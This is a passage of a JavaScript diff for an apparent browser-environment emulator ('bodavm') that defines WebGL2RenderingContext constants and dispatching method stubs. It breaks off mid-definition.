+bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", { + configurable: false, + enumerable: true, + writable: false, + value: 36070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", { + configurable: false, + enumerable: true, + writable: false, + value: 36071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", { + configurable: false, + enumerable: true, + writable: false, + value: 36072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", { + configurable: false, + enumerable: true, + writable: false, + value: 36073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", { + configurable: false, + enumerable: true, + writable: false, + value: 36074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", { + configurable: false, + enumerable: true, + writable: false, + value: 36075 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", { + configurable: false, + enumerable: true, + writable: false, + value: 36076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", { + configurable: false, + enumerable: true, + writable: false, + value: 36077 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", { + configurable: false, + enumerable: true, + writable: false, + value: 36078 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", { + configurable: false, + enumerable: true, + writable: false, + value: 36079 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", { + configurable: false, + enumerable: true, + writable: false, + value: 36182 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36183 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5131 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", { + configurable: false, + enumerable: true, + writable: false, + value: 33319 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 33320 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", { + configurable: false, + enumerable: true, + writable: false, + value: 33321 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", { + configurable: false, + enumerable: true, + writable: false, + value: 33323 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33325 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33326 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33327 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33328 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33329 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33330 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33331 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33332 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33334 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33335 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34229 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36756 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36757 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36758 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36759 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 36764 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35345 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35368 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35369 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35370 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35371 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35374 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35375 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35376 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35377 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 35380 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35382 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35383 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 35386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35387 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35388 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35389 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35390 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35391 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35392 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35394 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 35395 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35396 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35398 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37154 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37157 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 37137 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 37138 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 37139 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 37140 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", { + configurable: false, + enumerable: true, + writable: false, + value: 37141 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 37142 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 37143 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37144 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37145 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37146 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", { + configurable: false, + enumerable: true, + writable: false, + value: 37147 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 37148 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", { + configurable: false, + enumerable: true, + writable: false, + value: 37149 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", { + configurable: false, + enumerable: true, + writable: false, + value: 35887 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36202 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35097 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36255 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", { + configurable: false, + enumerable: true, + writable: false, + value: 36386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", { + configurable: false, + enumerable: true, + writable: false, + value: 36387 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36388 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36389 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 37167 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 36203 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", { + configurable: false, + enumerable: true, + writable: false, + value: 33503 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", { + configurable: false, + enumerable: true, + writable: false, + value: -1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37447 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "activeTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function activeTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "activeTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "attachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "attachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function beginQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function beginTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function bindAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferBase", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBufferBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferBase", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferRange", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBufferRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function bindSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function bindVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendColor", { + configurable: true, + enumerable: true, + writable: true, + value: function blendColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquation", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquationSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquationSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquationSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blitFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function blitFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blitFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "checkFramebufferStatus", { + configurable: true, + enumerable: true, + writable: true, + value: function checkFramebufferStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "checkFramebufferStatus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clientWaitSync", { + configurable: true, + enumerable: true, + writable: true, + value: function clientWaitSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clientWaitSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compileShader", { + configurable: true, + enumerable: true, + writable: true, + value: function compileShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compileShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyBufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function copyBufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyBufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function createProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function createQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function createSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createShader", { + configurable: true, + enumerable: true, + writable: true, + value: function createShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function createTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTransformFeedback", { + configurable: true, + enumerable: true, + writable: 